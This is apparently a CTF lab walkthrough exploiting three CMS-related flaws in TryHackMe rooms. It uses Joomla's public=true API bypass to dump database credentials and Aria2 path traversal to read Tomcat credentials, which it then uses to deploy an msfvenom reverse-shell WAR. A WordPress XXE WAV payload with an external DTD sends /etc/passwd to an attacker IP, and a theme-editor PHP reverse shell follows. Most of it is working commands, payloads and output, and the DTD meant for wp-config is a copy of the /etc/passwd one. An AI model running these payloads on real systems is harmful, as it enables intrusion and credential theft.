Introduction
Content Management System (CMS) is a software that makes it simpler to compose, edit and publish online content. It may look like platforms such as WordPress, Joomla, and Drupal play all the significant roles out there and that their convenience is drawing our attention away form fatal security vulnerabilities, at which one false step is enough to mold a CMS into a weapon. During our dissection, we will be using three vulnerabilities that are based on CMS: auth bypass in Joomla (CVE-2023-23752
), LFI-to-RCE chain in Apache Tomcat (via Aria2 CVE-2023-39141
) as well as XXE-to-shell chain in WordPress (CVE-2021-29447)
. By using raw terminal comms and operating room surgery we will uncover the weapons that attackers wield when they convert features into footholds.
1. Joomla
Vulnerability Breakdown of CVE-2023-23752
In case a request is made to an API of Joomla ( e.g. /api/index.php ), it tracked in an understandable stepwise manner through a series of files each of which concerned with the bootstrapping and the routing of the call.
It starts off in:
/api/index.php
This file initiates the API environment because it adds the following:
require_once dirname(__FILE__) . '/includes/app.php';
In app.php
, Joomla instantiates the API application class, and runs it:
$app = $container->get(\Joomla\CMS\Application\ApiApplication::class);
$app->execute();
The $app->execute()
triggers the main application logic, which calls a method named doExecute()
— located in:
/libraries/src/Application/ApiApplication.php
So, this is the place where the routing and the checking of the permission occurs. As a component of routing configuration, Joomla makes attempts to determine who is allowed to use the endpoint. This is achieved by parsing of URL variables, such as the public
. In the process, customer-supplied GET parameters (such as ?public=true
) are simply appended to routes on the application being established
$vars = array_merge($vars, $query);
In understandable words: whatever you post through the URL is also made a part of the internal decision-making of Joomla, then there is the important check:
if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
if (!$this->login([...])) {
throw new AuthenticationFailed;
}
}
Thus, when public
is absent or false a valid user session will be expected in Joomla and the authentication process should be a success. However, when you use public=true
, Joomla performs no authentication whatsoever, which again presupposes that you should have access to the information. This occurs since it blindly has faith in what you force fed it. And that is the weakness: Joomla can be tricked by unauthenticated users to persuade the system to believe it is an authorized user, by altering a GET parameter.
Exploitation
Exploitation, as far as the view of an attacker is concerned, cannot be more straightforward. As soon as we have a list of API endpoints (either by bruteforcing /api
or with docs), we can make unauthenticated requests and append the public=true
parameter. Suppose you would like to access site configuration data. Let’s say an attacker performs an unauthenticated request to this endpoint.
http://MACHINE_IP/api/index.php/v1/config/application
This would give an error 403
from server. But if you add the following parameter to the request, something magical happens.
?public=true
You will get the full API details and for this no login is required.
curl http://MACHINE_IP/api/index.php/v1/config/application?public=true | jq
The above request results with the following data.
<snip>
"host": "localhost",
"user": "root",
"password": "root@123",
"db": "joomla_db"
<snip>
In the same manner one can also get the user information.
curl http://MACHINE_IP/api/index.php/v1/users?public=true | jq
The above results in following response from the server.
"username": "root",
"email": "root@root.thm",
"group_names": "Super Users"
In this case, the word to the exploit is public=true
flag; it is not a special backdoor. It is a valid parameter which Joomla uses internally to grant the general access to certain API endpoints. The issue is that it believes anyone who proclaims the request to be public without checking whether it needs to.
2. Apache Tomcat
Enumeration
Now since the standard port 80 is not available to us we need to find open port, but scanning all ports take time, so since this is an CTF let’s take our bets and scan faster and quickly for open ports.
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.10.204.115 -p- --min-rate=20000 --max-retries=0 --host-timeout 10s --stats-every 5s
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 09:20 EDT
Warning: 10.10.204.115 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.10.204.115
Host is up (0.29s latency).
Not shown: 44585 filtered tcp ports (no-response), 20946 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
6800/tcp open unknown
8080/tcp open http-proxy
8888/tcp open sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 4.06 seconds
Once we found open ports, let’s take our time and find what each port is doing using -sV
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 22,6800,8080,888 10.10.204.115
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 09:21 EDT
Nmap scan report for 10.10.204.115
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
6800/tcp open http aria2 downloader JSON-RPC
8080/tcp open http Apache Tomcat 8.5.93
8888/tcp open sun-answerbook?
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds
Now after looking for sometime, after trying and going down the rabbit hole, we do see that aria2 UI looks interesting.
Now we tried wappalyzer we are unable to find version information, but manually after inspecting the web site we are able to find it.
With this server information we can look for CVEs and vulnerabilities.
Searching for this version we find the vulnerability as CVE-2023-39141
and here is one of the detailed article on this vulnerability.
https://www.vicarius.io/vsociety/posts/cve-2023-39141-path-traversal-vulnerability-in-webui-aria2
Exploiting LFI
For some reasons, we are able to get LFI only through cURL
not through browser.
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:122:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:1002:1002::/opt/tomcat:/bin/false
orville:x:1003:1003::/home/orville:/bin/bash
wilbur:x:1004:1004::/home/wilbur:/bin/bash
Once LFI is confirmed, let’s take a look at /opt/tomcat/conf/tomcat-users.xml
since this is a single machine we expect the server hosting ARIA to have some tomcat configuration files and this particular file configuration will reveal tomcat password to us.
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-script"/>
<user username="tomcat" password="OPx52k53D8OkTZpx4fr" roles="manager-script"/>
</tomcat-users>
Sometimes we also have /etc/tomcat9/tomcat-users.xml
but since we are using tomcat
version 8.5.93
this file does not exist.
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../etc/tomcat9/tomcat-users.xml
404 Not Found
Let’s look for environment variables to have better understanding on our path.
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../proc/self/environ --output lala
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 193 0 193 0 0 507 0 --:--:-- --:--:-- --:--:-- 506
┌──(kali㉿kali)-[~]
└─$ cat lala
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOME=/opt/tomcatLOGNAME=tomcatUSER=tomcatINVOCATION_ID=ea9b7e676b0c4deb88610d6740b62b2cJOURNAL_STREAM=9:20216
We get to the following details form this environment variable:
HOME=/opt/tomcat
USER=tomcat
Since this is a CTF, and as a proof of concept, the user flag is located usually at $user which in our case is tomcat, so potentially there is a possibility of having flag at /opt/tomcat/flag1.txt
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/flag1.txt
THM{redacted}
Some other interesting places you can look for to understand or to enumerate tomcat are:
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/logs/catalina.out
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/context.xml
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://10.10.204.115:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/server.xml
Remember the credentials we got earlier from /opt/tomcat/conf/tomcat-users.xml
? let’s try and login that one on http://10.10.204.115:8080/manager/html
We get an 403
error, and that is not so cool. We still got an LFI to the machine, which means we can manually upload some malicious file into tomcat, and get reverse shell.
Usually, tomcat has .war
file , and do note that a WAR file (Web Application Archive) is a file format used to distribute and deploy Java web applications on servers like Apache Tomcat. We can use metasploit for this task.
Chaining LFI to RCE
We can use the following command to get an malicious war file using metasploit.
┌──(kali㉿kali)-[~]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.17.26.83 LPORT=4445 -f war -o shell.war
Payload size: 1094 bytes
Final size of war file: 1094 bytes
Saved as: shell.war
Using curl we can upload the file at http://10.10.204.115:8080/manager/text/deploy?path=/shell&update=true
┌──(kali㉿kali)-[~]
└─$ curl -u tomcat:OPx52k53D8OkTZpx4fr --upload-file shell.war "http://10.10.204.115:8080/manager/text/deploy?path=/shell&update=true"
OK - Deployed application at context path [/shell]
Alternatively you can use this command as well.
curl -T "shell.war" "http://tomcat:OPx52k53D8OkTZpx4fr@10.10.204.115:8080/manager/text/deploy?path=/shell&update=true"
Now let’s start our listener.
┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 4445
[sudo] password for kali:
listening on [any] 4445 ...
Now on another terminal let’s trigger the payload. This should trigger reverse shell connection to your netcat listener.
┌──(kali㉿kali)-[~]
└─$ curl http://10.10.204.115:8080/shell/
This way we have achieved RCE on this machine.
Wordpress
Enumeration
For this task, we will be using wpscan
for both enum & exploitation. Some good blog reads are recon and user enum in wordpres. These are too good to understand manual enumeration and using wpscan
. And for this task we will be using this tryhackme room. We will be running of the scan with following command, and we are also given valid pair of login credentials as well, user: test-corp
and password: test
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://10.10.137.56/ --enumerate
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://10.10.137.56/ [10.10.137.56]
[+] Started: Tue Jul 1 13:01:29 2025
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] WordPress readme found: http://10.10.137.56/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://10.10.137.56/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.137.56/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.137.56/index.php/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
| - http://10.10.137.56/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://10.10.137.56/wp-content/themes/twentytwentyone/
| Last Updated: 2025-04-15T00:00:00.000Z
| Readme: http://10.10.137.56/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 2.5
| Style URL: http://10.10.137.56/wp-content/themes/twentytwentyone/style.css
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.137.56/wp-content/themes/twentytwentyone/style.css, Match: 'Version: 1.1'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:29 <==========================================================> (652 / 652) 100.00% Time: 00:00:29
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:01:48 <========================================================> (2575 / 2575) 100.00% Time: 00:01:48
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:06 <===========================================================> (137 / 137) 100.00% Time: 00:00:06
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:04 <=================================================================> (75 / 75) 100.00% Time: 00:00:04
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:04 <======================================================> (100 / 100) 100.00% Time: 00:00:04
[i] Medias(s) Identified:
[+] http://10.10.137.56/?attachment_id=5
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:02 <============================================================> (10 / 10) 100.00% Time: 00:00:02
[i] User(s) Identified:
[+] Corporation Test
| Found By: Rss Generator (Passive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Jul 1 13:04:19 2025
[+] Requests Done: 3620
[+] Cached Requests: 9
[+] Data Sent: 998.955 KB
[+] Data Received: 22.865 MB
[+] Memory used: 312.961 MB
[+] Elapsed time: 00:02:50
From this scan, we got to know that wordpress version is 5.6.2
and we got an vulnerable theme known as twentytwentyone v1.1
which is vulnerable to RCE. When we search for wordpress version online we get the following CVE which is CVE-2021-29447
. (Note that we are in 2025, and this version has got a lot of CVE’s, since the lab has mentioned this CVE we are going with this.)
Exploitation
The exploitation flow looks somewhat like this: (Image credits TryHackMe.)
Step 1: Create malicious wav file.
┌──(kali㉿kali)-[~]
└─$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.17.26.83:4444/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > evilsound.wav
Step 2: Create malicious dtd file and do refer this blog for xxe attacks
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.11.16.30:4444/?p=%file;'>" >
In case you are interested to get more sensitive information like wordpress configuration and sensitive information directly you can change the dtd
to the following.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.11.16.30:4444/?p=%file;'>" >
Make required changes to IP and port if needed. Now after login upload this payload and make sure the server is running in background.
If you are doing everything correctly then you should get the some responses from the server.
To decode this string create a following php script to decode this.
<?php echo zlib_decode(base64_decode('base64here')); ?>
Copy the base64 there and run the script you will get the base64 decoded data.
┌──(kali㉿kali)-[~]
└─$ sudo php base64.php
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
stux:x:1000:1000:CVE-2021-29447,,,:/home/stux:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
For the wp-config
payload your decoded string might look something like this:
<snip>
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpressdb2' );
/** MySQL database username */
define( 'DB_USER', 'thedarktangent' );
/** MySQL database password */
define( 'DB_PASSWORD', 'sUp3rS3cret132' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
<snip>
Now you can login to mysql, with the following credentials and enumerate DB manually and get further details. Do note that it covers some manual database enumeration and password cracking which may not be entirely purely web penetration testing. If you are stuck or interested in this part there are a lot of writeups online. Once you get the hash from the database and crack it you can use it to login into wordpress website. The valid pair of credentials are corp-001:teddybear
.
Once you have logged in go to Appearance > Theme Editor and Select Edit Theme to Twenty-Nineteen > 404 template
or simply visit this URL –> http://10.10.137.56/wp-admin/theme-editor.php
Now paste php reverse shell
from online and change IP and port number and then start your listener.
Once you have done everything correctly make sure you are in twentynineteen theme, and on 404 error page template, once you click update file, you can trigger the reverse shell using the following the following command.
curl http://10.10.137.56/wp-content/themes/twentynineteen/404.php
Make sure netcat listener is running before you trigger the payload. With this you should get RCE.
┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.17.26.83] from (UNKNOWN) [10.10.137.56] 42972
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
11:09:12 up 1:17, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Conclusion
The blind faith that Joomla putized to the flag ?public=true, the failure of Tomcat to properly sanitize path traversal as well as the XML parser betrayal in WordPress have something in common, convenience creates complacency. Both the CMSes were efficient in offering exploitation. As defenders we should:
Audit API
endpoints mercilessly,
Approach user input like radioactivity sanitize or quarantine,
Suppose that all the default options are backdoors.
These systems will not become hardened. Be paranoid, patch, patch, patch, always, and keep in mind: there is no free lunch in the CMS world.